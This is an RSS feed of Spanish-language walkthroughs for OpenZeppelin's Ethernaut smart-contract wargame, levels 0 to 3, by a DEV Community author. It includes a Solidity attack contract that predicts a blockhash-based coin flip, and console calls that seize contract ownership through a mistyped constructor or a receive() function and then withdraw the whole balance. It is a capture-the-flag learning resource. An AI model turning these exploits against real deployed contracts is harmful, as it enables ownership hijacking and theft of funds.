<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: ciscodiazo</title>
    <description>The latest articles on DEV Community by ciscodiazo (@ciscodiazo).</description>
    <link>https://dev.to/ciscodiazo</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1002655%2Ffd19a43e-8eeb-453f-a079-7aed5d5f55c4.png</url>
      <title>DEV Community: ciscodiazo</title>
      <link>https://dev.to/ciscodiazo</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ciscodiazo"/>
    <language>en</language>
    <item>
      <title>Ethernaut Nivel 3: Coin Flip</title>
      <dc:creator>ciscodiazo</dc:creator>
      <pubDate>Sat, 14 Jan 2023 22:11:40 +0000</pubDate>
      <link>https://dev.to/ciscodiazo/ethernaut-hacks-nivel-3-coin-flip-c8</link>
      <guid>https://dev.to/ciscodiazo/ethernaut-hacks-nivel-3-coin-flip-c8</guid>
      <description>&lt;h1&gt;
  
  
  Level 3: Coin Flip
&lt;/h1&gt;

&lt;p&gt;Este es el nivel 3 del juego &lt;a href="https://ethernaut.openzeppelin.com/" rel="noopener noreferrer"&gt;Ethernaut&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Requisitos previos
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://ethereum.org/en/developers/docs/blocks/" rel="noopener noreferrer"&gt;Blocks&lt;/a&gt; en la cadena de bloques de Ethereum&lt;/li&gt;
&lt;li&gt;Solidity -  interactuar con un contrato desplegado en una dirección. Lee  &lt;a href="https://solidity-by-example.org/interface/" rel="noopener noreferrer"&gt;this&lt;/a&gt; o mejor mira &lt;a href="https://www.youtube.com/watch?v=YWtT0MNHYhQ" rel="noopener noreferrer"&gt;this&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Atajos
&lt;/h2&gt;

&lt;p&gt;Contrato dado:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Básicamente, necesitamos predecir el resultado del lanzamiento de la moneda correctamente 10 veces seguidas para ganar.&lt;/p&gt;

&lt;p&gt;El contrato dado intenta simular el lanzamiento de una moneda al azar generando &lt;code&gt;true&lt;/code&gt; o &lt;code&gt;false&lt;/code&gt; usando el número de bloque de la red (Ropsten en nuestro caso). ¡Pero esto no es realmente aleatorio! Puede consultar muy fácilmente la red para ver el número de bloque actual.&lt;/p&gt;

&lt;p&gt;Resulta que la generación de números aleatorios es una de las trampas graves de las cadenas de bloques debido a su naturaleza determinista. Es por eso que existen servicios dedicados para este propósito como &lt;a href="https://blog.chain.link/random-number-generation-solidity/" rel="noopener noreferrer"&gt;Chainlink VRF&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Dado que se puede acceder fácilmente a este número de bloque, también podemos generar el resultado del lanzamiento de una moneda y alimentar este resultado a la function &lt;code&gt;flip&lt;/code&gt;  para tener una suposición e incremento correctos &lt;code&gt;consecutiveWins&lt;/code&gt;. Podemos hacer esto porque el tiempo de bloqueo de la red será lo suficientemente largo para que &lt;code&gt;block.number&lt;/code&gt; no cambie entre las llamadas a funciones.&lt;/p&gt;

&lt;p&gt;Escribiremos un contrato de solidity en(Remix IDE) con casi el mismo código inicial, agregando al codigo la clase &lt;code&gt;contract Hack{}&lt;/code&gt; y modificamos algunas funciones, veamos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract  Hack {
    CoinFlip private immutable target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {
        target = CoinFlip(_target); 
    }

    function flip() external {
        bool guess = _guess();
        require(target.flip(guess), "guess failed");
    }

    function _guess() private view returns(bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
    }
}


contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;para esta modificación ingresamos a &lt;a href="https://remix.ethereum.org/" rel="noopener noreferrer"&gt;remix IDE&lt;/a&gt;en la carpeta &lt;code&gt;contracts&lt;/code&gt; creamos el archivo &lt;code&gt;CoinFlip.sol&lt;/code&gt; y escribimos el codigo anterior.&lt;/p&gt;

&lt;p&gt;Regresa a openzeppelin en el nivel - &lt;code&gt;CoinFlip&lt;/code&gt; solicita una instancia, cuando tenga la instancia desde la consola del navegador debera copiarla.&lt;/p&gt;

&lt;p&gt;Nuevamente en &lt;a href="https://remix.ethereum.org/" rel="noopener noreferrer"&gt;remix IDE&lt;/a&gt; en el archivo &lt;code&gt;CoinFlip.sol&lt;/code&gt;, busca &lt;code&gt;deploy&lt;/code&gt; ubicado en la parte lateral izquierda, y en &lt;code&gt;ENVIRONMENT&lt;/code&gt;, selecciona &lt;code&gt;Injected Provider&lt;/code&gt;, acepta la solicitud de &lt;code&gt;MetaMask&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Ahora, en la opción &lt;code&gt;CONTRACT (Compiled by Remix)&lt;/code&gt; selección la clase hack, pega la instancia en &lt;code&gt;Deploy - address _target&lt;/code&gt;y clic en Deploy, y luego la misma instancia la pegamos en &lt;code&gt;At Address&lt;/code&gt; y clickeamos.&lt;/p&gt;

&lt;p&gt;Finalmente revisamos &lt;code&gt;Deployed Contracts&lt;/code&gt; donde estara visible &lt;code&gt;Hack&lt;/code&gt; y &lt;code&gt;CoinFlip&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;en &lt;code&gt;CoinFlip&lt;/code&gt; presionamos el boton &lt;code&gt;consecutiveWins&lt;/code&gt;, y en &lt;code&gt;Hack&lt;/code&gt; clic en flip alternativamente y aceptamos desde MetaMask, aparecera el número 1,2... 11, cuando llege a 11, hemos terminado, enviamos la evidencia desde &lt;code&gt;openzeppelin&lt;/code&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Ethernaut Nivel 2: Fallout</title>
      <dc:creator>ciscodiazo</dc:creator>
      <pubDate>Fri, 06 Jan 2023 02:02:25 +0000</pubDate>
      <link>https://dev.to/ciscodiazo/ethernaut-nivel-2-fallout-fcd</link>
      <guid>https://dev.to/ciscodiazo/ethernaut-nivel-2-fallout-fcd</guid>
      <description>&lt;h1&gt;
  
  
  Nivel 2: Fallout
&lt;/h1&gt;

&lt;p&gt;Este es el nivel 2 del juego  &lt;a href="https://ethernaut.openzeppelin.com/" rel="noopener noreferrer"&gt;Ethernaut&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Requisitos previos:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Solidity smart contract &lt;a href="https://docs.soliditylang.org/en/v0.8.10/contracts.html" rel="noopener noreferrer"&gt;constructors&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Atajos
&lt;/h2&gt;

&lt;p&gt;contrato dado:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address =&amp;gt; uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
          require(
              msg.sender == owner,
              "caller is not the owner"
          );
          _;
      }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] &amp;gt; 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El &lt;code&gt;player&lt;/code&gt; tiene que reclamar la propiedad del contrato.&lt;/p&gt;

&lt;p&gt;Al inspeccionar todos los métodos, se puede ver que no hay ningún método que cambie la propiedad del contrato. Solo la lógica de propiedad está dentro del constructor. ¡Pero los constructores se llaman solo una vez en el momento de la implementación!&lt;/p&gt;

&lt;p&gt;Algo sobre la declaración del constructor parece inusual: "parece" estar definido con el mismo nombre que el contrato, es decir &lt;code&gt;Fallout&lt;/code&gt;(en realidad NO lo está). ¿No usamos &lt;code&gt;constructor&lt;/code&gt; palabras clave para declarar constructores?&lt;/p&gt;

&lt;p&gt;En primer lugar, la declaración de constructor prevista tiene un error tipográfico, &lt;code&gt;Fal1out&lt;/code&gt; en lugar de &lt;code&gt;Fallout&lt;/code&gt;. Por lo tanto, solo se trata como un método normal, no como un constructor. Por lo tanto, simplemente lo llamamos y reclamamos la propiedad.&lt;/p&gt;

&lt;p&gt;En segundo lugar, incluso si no fue un error tipográfico, es decir, el constructor se declaró como &lt;code&gt;Fallout&lt;/code&gt;, ¡ni siquiera se compilará!&lt;br&gt;
Las versiones anteriores de Solidity tenían este tipo de declaración de constructor. Si revisa los &lt;a href="https://docs.soliditylang.org/en/v0.8.10/050-breaking-changes.html#constructors" rel="noopener noreferrer"&gt;documentos&lt;/a&gt;, encontrará que la  palabra clave &lt;code&gt;constructor&lt;/code&gt; es obligatorio incluso en &lt;code&gt;v0.5.0&lt;/code&gt; - _ "Los constructores ahora deben definirse usando la palabra clave constructor"_ . Y usos del contrato objetivo &lt;code&gt;v0.6.0&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Fal1out&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y &lt;code&gt;player&lt;/code&gt; se ha hecho cargo como &lt;code&gt;owner&lt;/code&gt;. Verificar por:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;

&lt;span class="c1"&gt;// Output: true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enviar instancia. Hecho.&lt;/p&gt;

</description>
      <category>emptystring</category>
    </item>
    <item>
      <title>Ethernaut Nivel 1: Fallback</title>
      <dc:creator>ciscodiazo</dc:creator>
      <pubDate>Thu, 05 Jan 2023 22:46:41 +0000</pubDate>
      <link>https://dev.to/ciscodiazo/ethernaut-nivel-1-fallback-51m2</link>
      <guid>https://dev.to/ciscodiazo/ethernaut-nivel-1-fallback-51m2</guid>
      <description>&lt;h1&gt;
  
  
  Level 1: Fallback
&lt;/h1&gt;

&lt;p&gt;Este es el nivel 1 del juego &lt;a href="https://ethernaut.openzeppelin.com/" rel="noopener noreferrer"&gt;Ethernaut&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  requisitos previos
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Envío de transacciones usando &lt;a href="https://ethereum.stackexchange.com/questions/53094/sending-ether-via-contract-instance" rel="noopener noreferrer"&gt;web3.js&lt;/a&gt; a un contrato y a una función de pago &lt;/li&gt;
&lt;li&gt;&lt;a href="https://web3js.readthedocs.io/en/v1.5.2/web3-utils.html#towei" rel="noopener noreferrer"&gt;Conversion between units ether &amp;amp; wei&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;función Solidity contract &lt;a href="https://ethereum.stackexchange.com/questions/81994/what-is-the-receive-keyword-in-solidity/81995" rel="noopener noreferrer"&gt;fallback&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Atajos
&lt;/h2&gt;

&lt;p&gt;contrato dado:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address =&amp;gt; uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value &amp;lt; 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] &amp;gt; contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value &amp;gt; 0 &amp;amp;&amp;amp; contributions[msg.sender] &amp;gt; 0);
    owner = msg.sender;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;el método &lt;code&gt;contract&lt;/code&gt; métodos y &lt;code&gt;web3.js&lt;/code&gt; pueden ser ejecutadas desde la consola&lt;/p&gt;

&lt;p&gt;El &lt;code&gt;player&lt;/code&gt; address, debemos convertirla en &lt;code&gt;owner&lt;/code&gt; del contrato y luego retirar todo el monto del contrato.&lt;/p&gt;

&lt;p&gt;las partes claves son: la funcion &lt;code&gt;contribute&lt;/code&gt; y la funcion &lt;code&gt;receive&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;En el constructor, se observa que el  &lt;code&gt;owner&lt;/code&gt;' la contribución es de 1000 eth. Una forma de convertirse en &lt;code&gt;owner&lt;/code&gt; es enviar del &lt;code&gt;owner&lt;/code&gt;' una contribución eth desde la función &lt;code&gt;contribute&lt;/code&gt;. verificamos la contribución del &lt;code&gt;owner&lt;/code&gt; eth desde la consola:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;ownerAddr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0x9CB391dbcD447E645D6Cb55dE6ca23164130D008&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="c1"&gt;// Output '1000000000000000000000'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;¡Pero eso sería demasiado eth! No tenemos nada cerca.&lt;/p&gt;

&lt;p&gt;Sin embargo, eche un vistazo a la función &lt;code&gt;receive&lt;/code&gt;. También tiene código para cambiar de dueño. Según el código, podemos reclamar la propiedad si:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;El contrato tiene una contribución distinta de cero por nuestra parte (&lt;code&gt;player&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Luego, enviamos al contrato una cantidad eth distinta de cero.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;player&lt;/code&gt; la dirección tiene una contribución cero al contrato actualmente, así que satisfagamos la primera condición enviando &lt;strong&gt;menos de 0.001&lt;/strong&gt; eth (requerido según el código):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;contribute&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;toWei&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.0009&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora tenemos una contribución distinta de cero que puede verificar mediante:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContribution&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y ahora envíe cualquier cantidad de éter distinta de cero al contrato:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;toWei&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.000001&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Boom! ¡Reclamamos la propiedad del contrato!&lt;br&gt;
Puede verificar que &lt;code&gt;owner&lt;/code&gt; es la misma dirección que &lt;code&gt;player&lt;/code&gt; por:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;// Output: Same as player address&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y para el golpe final, retirar todo el saldo del contrato:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hecho.&lt;/p&gt;

</description>
      <category>emptystring</category>
    </item>
    <item>
      <title>Ethernaut Nivel 0: Hola Ethernaut</title>
      <dc:creator>ciscodiazo</dc:creator>
      <pubDate>Thu, 05 Jan 2023 21:51:04 +0000</pubDate>
      <link>https://dev.to/ciscodiazo/ethernaut-web3solidity-hacks-4175</link>
      <guid>https://dev.to/ciscodiazo/ethernaut-web3solidity-hacks-4175</guid>
      <description>&lt;h1&gt;
  
  
  Nivel 0: Hola Ethernaut
&lt;/h1&gt;

&lt;p&gt;Este es el nivel 0 del juego&lt;a href="https://ethernaut.openzeppelin.com/" rel="noopener noreferrer"&gt;Ethernaut&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  requisitos previos
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Basics of &lt;a href="https://web3js.readthedocs.io/en/v1.5.2/getting-started.html" rel="noopener noreferrer"&gt;web3js&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Atajos
&lt;/h2&gt;

&lt;p&gt;has leído las instrucciones del nivel 0 y ha adquirido el éter de prueba. Los métodos de contrato de nivel se inyectan directamente en la consola de nuestro navegador, por lo que podemos comenzar a llamar a los métodos.&lt;/p&gt;

&lt;p&gt;antes de iniciar: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Configurar MetaMask&lt;/li&gt;
&lt;li&gt;Abra la consola del navegador Abra la consola de su navegador: Tools &amp;gt; Developer Tools.
comando (await chrome 64)
  &lt;strong&gt;player&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Usa los ayudantes de la consola &lt;strong&gt;getBalance(player)&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;El ethernaut contract &lt;strong&gt;ethernaut&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Interactuar con ABI &lt;strong&gt;ethernaut.owner()&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Obtener una instancia de nivel &lt;strong&gt;level instance&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Inspección del contrato &lt;strong&gt;contract&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Interactuar con el contrato para completar el nivel &lt;strong&gt;contract.info()&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Empecemos. Las instrucciones piden llamar a este método en la consola:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Output: 'You will find what you need in info1().'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Seguimos la salida y llamamos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Output: 'Try info2(), but with "hello" as a parameter.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Siguiente...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hello&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Output: 'The property infoNum holds the number of the next info method to call.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para obtener &lt;code&gt;infoNum&lt;/code&gt; llamamos captador público:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;infoNum&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="c1"&gt;// Output: 42&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tenga en cuenta que &lt;code&gt;infoNum()&lt;/code&gt; devuelve un objeto BigNumber, por lo que lo convertimos en una cadena para ver el número real.&lt;/p&gt;

&lt;p&gt;Procediendo con &lt;code&gt;info42&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info42&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Output: 'theMethodName is the name of the next method.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;De nuevo, siguiente salida:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;theMethodName&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Output: 'The method name is method7123949.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



